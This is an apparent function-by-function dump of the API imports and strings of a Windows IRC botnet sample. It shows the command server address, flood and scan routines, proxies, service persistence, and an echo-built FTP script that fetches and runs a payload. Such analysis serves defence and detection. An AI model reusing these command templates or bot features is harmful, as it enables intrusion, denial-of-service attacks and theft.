sub_outside():
	MSVCRT.strtok
	KERNEL32.CreateToolhelp32Snapshot
	KERNEL32.Process32First
	MSVCRT.strncmp
	KERNEL32.Process32Next
	MSVCRT.strstr
	MSVCRT.strncpy
	MSVCRT.wcscat
	MSVCRT.ftell
	MSVCRT.fseek
	WS2_32.send
	WS2_32.recv
	WS2_32.ntohs
	WS2_32.recvfrom
	WS2_32.inet_ntoa
	MSVCRT._snprintf
	MSVCRT.atoi
	MSVCRT.rand
	MSVCRT.strncat
	WS2_32.closesocket
	MSVCRT.free
	MSVCRT.sprintf
	KERNEL32.InterlockedCompareExchange
	MSVCRT._errno
	MSVCRT._iob

sub_40D040(034f):
	MSVCRT._snprintf

	"%s\\*"
	"Found: %s\\%s"

sub_406730(0352):
	"up:	%dd %dh	%dm"

sub_4322D0(03f4):
	KERNEL32.InterlockedCompareExchange

sub_4257F0(0a4c):
	WS2_32.send
	WS2_32.recv

sub_40B7E0(0cb7):
	"true"

sub_42E870(0e10):
	"Invalid direction %d\n"
	"Invalid	mode %c\n"
	"PASV"
	"%u,%u,%u,%u,%u,%u"

sub_413C40(17e9):
	":"
	":"
	":"

sub_420F10(2049):
	":"
	"http"
	"ftp"
	"/"
	"/"
	"@"
	":"
	"/"
	"@"
	":"
	"http"
	"ftp"
	"/"
	"@"
	":"
	"/"
	"@"
	":"
	":"
	"/"
	":"
	"http"
	"ftp"
	"/"
	"/"
	"/"
	"/"

sub_42B440(249a):
	"[%s] Starting	Socks4 Proxy on	port %d."
	"[%s] Unloaded	proxy on %d."

sub_41BA50(2572):
	MSVCRT.rand

sub_40DC20(27dc):
	"%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n"
	"%%comspec%% /c %s	%s"

sub_429540(28e3):
	WS2_32.closesocket

sub_430B30(29c8):
	MSVCRT._errno

sub_42C830(2b74):
	WS2_32.ioctlsocket
	WS2_32.recv
	WS2_32.send
	WS2_32.closesocket

sub_428DC0(2bc6):
	WS2_32.recv

sub_410030(2cb4):
	MSVCRT.strstr

	"%d.%d.%d.%d"
	"%s %s\r\n"
	"%s %s\r\n%s %s 0 0 :%s\r\n"
	" "
	" "
	" "
	" "
	"%s %s\r\n"
	" "
	" "
	" "
	"%s %s\r\n"
	"%s %s %s\r\n"
	" "
	"%s %s %s\r\n"
	"%s %s\r\n"
	" "
	" "
	"@"
	":"
	"|"
	"|"
	" -s"
	" -n"
	" -o"
	" "
	" "
	"|"
	"|"
	" "
	" -o"
	" -s"
	" -n"
	":"
	" "
	"!"
	"!"
	"@"
	"@"
	" "
	" "
	" :"
	" "
	" "
	" "
	" "
	" "
	":"
	"!"
	"%s %s %s\r\n"
	" "
	":"
	"!"
	" :"
	" :"
	" "
	" "
	":"
	"!"
	":"
	"!"
	":"
	"!"

sub_42DE00(2f99):
	MSVCRT.fprintf
	MSVCRT.strncmp

	"Control socket read failed"
	"%s"
	"%s"

sub_4201F0(2ff6):
	"SYSTEM\\CurrentControlSet\\Services\\%s"
	"ImagePath"
	"\\"

sub_42B8E0(3685):
	WS2_32.socket
	WS2_32.sendto
	WS2_32.closesocket

sub_4269A0(37e7):
	WS2_32.closesocket

sub_4138B0(387f):
	"%2.2X"

sub_42F6F0(38a4):
	MSVCRT.fread
	MSVCRT.fwrite

	"short	write: passed %d, wrote	%d\n"
	"localfile write"

sub_432850(3f0b):
	MSVCRT.free

sub_423760(4699):
	"%d.%d.%d.%d"

sub_423860(4bd5):
	MSVCRT.rand

	"%d.%d.%d.%d"

sub_425100(4c37):
	WS2_32.ntohs

	"cmd /c echo open %s %d >> ii &echo user"...

sub_4077E0(4d8d):
	"irc.alfree5.info"
	"3267"
	"##for##"
	"##for"
	"Xkey"
	"igfsfds.exe"
	"aysklfsdsdsfssas"
	"X-"
	"set"
	"evil"
	"MicroSoft Visual SP0"

sub_414E10(4f91):
	" "
	" "

sub_422B40(5324):
	MSVCRT.atoi
	WS2_32.send
	MSVCRT.strrchr

	"scan: cip (%s)"
	"scan:	not started"
	" "
	"ftp: port: %d, total sends: %d"
	"scan:	stopped	(%d threads)"
	"scan:	couldn't stop"
	" "
	"scan:	too many threads (%s)"
	" "
	"scan: stats:"
	" %s:	%d,"
	" total: %d"
	" "
	" "
	" "
	" "
	" "
	"scan:	invalid	port"
	" "
	" "
	" "
	"scan:	no ip specified"
	"random"
	"sequential"
	"Scan(%s): %s Port Scan %s:%d - Delay %d"...

sub_58A891(59f5):
	MSVCRT._iob

sub_427FD0(5b21):
	WS2_32.socket

sub_42CB70(5b2a):
	"[%s] Redirecting from	Port %d	to '%s:%d"...
	"[%s] Finished	redirecting from port %d "...

sub_42DF40(5e6e):
	"\r\n"
	"read"

sub_428AB0(60a7):
	MSVCRT.rand
	WS2_32.sendto

sub_42B0B0(61c1):
	WS2_32.recv
	WS2_32.ioctlsocket
	WS2_32.closesocket

sub_40EE40(64c7):
	"ServicesActive"
	"\"%s\" %s"

sub_40ED00(6573):
	"-netsvcs"

sub_427990(69b7):
	"%s: %s (%utimes/%ubytes/%dms)"
	"[%s] Finished	flooding %s %d Times"
	"[%s] Cannot send pings - Doesn't have D"...

sub_432570(6d89):
	"KERNEL32.DLL"
	"InterlockedCompareExchange"

sub_42AFF0(75a9):
	"Socks4"

sub_4281A0(75a9):
	"syn"

sub_42ACB0(75a9):
	"HTTP"

sub_428880(75a9):
	"udp"

sub_427740(75a9):
	"ping"

sub_42B380(75a9):
	"Socks4"

sub_427C90(75a9):
	"forsyn"

sub_4193C0(75b1):
	MSVCRT._stricmp
	WS2_32.ntohs

	" "
	"established"
	"listening"
	"%s:%d"
	"%s:%d"
	"%s: %d"
	"%s: %s"

sub_427D50(7928):
	"%s: %s:%u (%dseconds)"
	"%s: error creating threads"
	"%s: attack@%s:%d done."
	"%s"

sub_40A260(7c6d):
	MSVCRT.strstr

sub_42AF20(80fe):
	"[%s] Starting	proxy on %d with SSL."
	"[%s] Starting	proxy on port %d."
	"[%s] Unloaded	proxy on port %d."

sub_40F060(8156):
	"ServicesActive"

sub_4369E0(8399):
	" "
	" "
	" "
	" "
	" "
	" "
	" "
	" "
	"HKCR: %s"
	" "
	" "
	"HKU:	%s"
	"Software\\Microsoft\\Windows\\CurrentVersi"...
	"ProductId"
	"Found	Windows	Product	ID (%s)."

sub_4068E0(88b2):
	"95"
	"NT"
	"98"
	"ME"
	"2000"
	"XP"
	"2003"
	"???"
	"%s [%s]"
	"CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "...

sub_4208E0(895d):
	"AudioSrv"
	"Browser"
	"CryptSvc"
	"Dhcp"
	"dmserver"
	"Dnscache"
	"ERSvc"
	"Eventlog"
	"EventSystem"
	"FastUserSwitchingCompatibility"
	"helpsvc"
	"lanmanserver"
	"lanmanworkstation"
	"LmHosts"
	"Netman"
	"PlugPlay"
	"PolicyAgent"
	"ProtectedStorage"
	"RasMan"
	"RpcSs"
	"SamSs"
	"Schedule"
	"seclogon"
	"SENS"
	"ShellHWDetection"
	"Spooler"
	"SSDPSRV"
	"stisvc"
	"TapiSrv"
	"TermService"
	"TrkWks"
	"upnphost"
	"W32Time"
	"winmgmt"
	"WZCSVC"
	"wuauserv"
	"Themes"
	"SYSTEM\\CurrentControlSet\\Services\\%s"
	"[%s] [????.exe] (Unknown key)"
	"ImagePath"
	"[%s] [????.exe]"
	"[%s]	[%s]"

sub_42FD30(89f2):
	MSVCRT.free

	"QUIT"

sub_409660(89f4):
	"invalid vector subscript"

sub_40F100(8cef):
	"ServicesActive"

sub_4228F0(902a):
	"asn"

sub_434D10(9072):
	"�"

sub_403530(917c):
	"|"
	"a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t"...

sub_41D930(95fb):
	":"
	":"
	":"
	"ftp(badlogin)"
	"ftp(getting)"
	"ftp(baddl)"
	"http(badconnect)"
	"GET %s HTTP/1.0\r\nConnection: Keep-Alive"...
	"http(getting)"
	"wb"
	"http(badopen)"
	"\r\n\r\n"
	"dl, done. %s ."
	"open	%s."
	"dl'ed-update: %s"
	"exec.error"

sub_420400(9651):
	"ServicesActive"

sub_420630(9c29):
	"PSAPI.DLL"
	"PSAPI.DLL"
	"EnumProcessModules"
	"GetModuleFileNameExA"
	"unknown"

sub_40A1A0(9cfe):
	MSVCRT.strchr

sub_419BE0(a03e):
	MSVCRT.strncpy

	"[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"

sub_42F2C0(a081):
	MSVCRT.free

sub_41F030(a38a):
	WS2_32.send
	MSVCRT.atoi

	"220	\r\n"
	"220 \r\n"
	"331	\r\n"
	"331 \r\n"
	"230	\r\n"
	"230 \r\n"
	"200	\r\n"
	"200 \r\n"
	" "
	","
	","
	","
	","
	","
	","
	"%d.%d.%d.%d"
	"200	\r\n"
	"200 \r\n"
	"150	\r\n"
	"150 \r\n"
	"rb"
	"ftp: %d.%d.%d.%d -> (%d bytes) (total	s"...
	"226	\r\n"
	"226 \r\n"
	"221	\r\n"
	"221 \r\n"

sub_429330(b1b6):
	"[%s] Started redirect	from \"%s\" to \"%s\""...
	"[%s] Finished	redirect from \"%s\" to	\"%s"...

sub_41E760(b206):
	"%d. - Pid: %d - \"%s\""
	" "
	" "
	" "
	" "
	" "
	" "
	" "
	" "

sub_426070(b260):
	MSVCRT._snprintf
	WS2_32.send

	"open %s %d >>	ii &echo user a	a >> ii	&"...
	"%s\r\n"

sub_6140E0(b7e0):
	MSVCRT._iob

sub_40B760(be4a):
	"true"

sub_40CC90(c6a0):
	" "
	" "
	"\\"
	"Files Found: %d"

sub_42BB00(c960):
	WS2_32.select
	WS2_32.socket
	WS2_32.send

sub_40D660(c9fa):
	"kernel32.dll"
	"RegisterServiceProcess"
	"CreateToolhelp32Snapshot"
	"Process32First"

sub_41A050(ca0b):
	MSVCRT.strstr

sub_404690(caf0):
	" -o"
	" "
	" "
	" "
	" "

sub_42E5B0(cb20):
	MSVCRT.sprintf

	"Missing path argument	for file transfer"...
	"Invalid open type %d\n"

sub_42F110(cbe6):
	"net_write(1) returned	%d, errno = %d\n"
	"net_write(2) returned	%d, errno = %d\n"

sub_424920(cd36):
	"�B�B�B�B"
	"CCCC"

sub_42E3C0(cf06):
	MSVCRT.sprintf

	"USER	%s"
	"PASS	%s"

sub_41C710(d173):
	" "
	":"
	" "
	" "
	":"
	" "
	" "
	":"
	" "
	" "
	" "
	" "
	" "
	" "
	" "
	" "
	" "

sub_40F180(d3dc):
	"ServicesActive"

sub_412A40(d41e):
	"%s %s :%s\r\n"

sub_41BD90(d56c):
	MSVCRT.strtok

sub_41A3B0(d618):
	WS2_32.WSAGetLastError
	WS2_32.select

sub_42DB00(dacc):
	"tcp"
	"ftp"
	"tcp"

sub_40C4E0(dd62):
	" "
	"[DCC]: Failed	to create socket."
	"dcc: failed to bind socket"
	"dcc: failed to open socket"
	"dcc: file doesn't exist"
	"[DCC]: File doesn't exist."
	"dcc: timeout"
	"dcc: unable to open socket"
	"dcc: complete	to %s, file: %s, (%d byte"...
	"dcc: socket error"

sub_427B10(dfe9):
	IPHLPAPI.IcmpCreateFile
	IPHLPAPI.IcmpSendEcho
	IPHLPAPI.IcmpCloseHandle

	"ICMP.DLL"
	"IcmpCreateFile"
	"IcmpCloseHandle"
	"IcmpSendEcho"

sub_424F00(e942):
	WS2_32.send

sub_428940(e9eb):
	"%s: %s:%u	(%ut/%ub/%dms)"
	"%s: %s:%d done"

sub_4253C0(eef8):
	WS2_32.recv

	"echo open %s %d>.pif \r\n"
	"echo user a a>>.pif \r\n"
	"echo binary>>.pif \r\n"
	"echo GET %s>>.pif \r\n"
	"echo bye>>.pif \r\n"
	"echo @echo off >c.bat\r\n"
	"echo ftp -n -v -s:.pif >>c.bat\r\n"
	"echo %s >>c.bat\r\n"
	"echo del .pif	>>c.bat\r\n"
	"echo del /F c.bat >>c.bat\r\n"
	"echo exit /y >>c.bat\r\n"

sub_428260(f15c):
	"%s: %s:%u	(%usec/%dms)"

sub_4120B0(f666):
	" "
	" "
	"%s %s :%s\r\n"
	"%s"
	" "
	"%s"
	" "
	" "
	"%s %s %s\r\n"
	" "
	"%s %s\r\n"
	"%s\r\n"
	" "
	" "
	" "
	" "
	" "
	"%s %s %s %s\r\n"

sub_420090(f698):
	"unknown"

sub_432BF0(f851):
	MSVCRT.free

sub_412780(f93f):
	"%d.%d.%d.%d"
	"lan:	"
	". "
	". "
	"[PRIVATE]"
	"[PUBLIC]"

sub_41F960(f9fb):
	MSVCRT.rand
	WS2_32.closesocket

sub_42C1B0(fa28):
	WS2_32.accept

sub_404CC0(fba8):
	" "
	" "
	"exec.error"
	" "
	" "
	"open"
	" "
	" "
	" "
	"%s resolved %s"
	" "
	" "
	"%s -> %s"
	" "
	"resolve.error	%s."
	"%s %s\r\n"
	"%s"
	" "
	"Executed:	%s."
	"exec.error"
	" "
	"%s"
	"%s %s\r\n"
	" "
	"N"
	"Software\\Microsoft\\OLE"

sub_42E490(fcd1):
	"%s\n"
	"%s\r\n"

sub_41A7D0(ffcd):
	WS2_32.select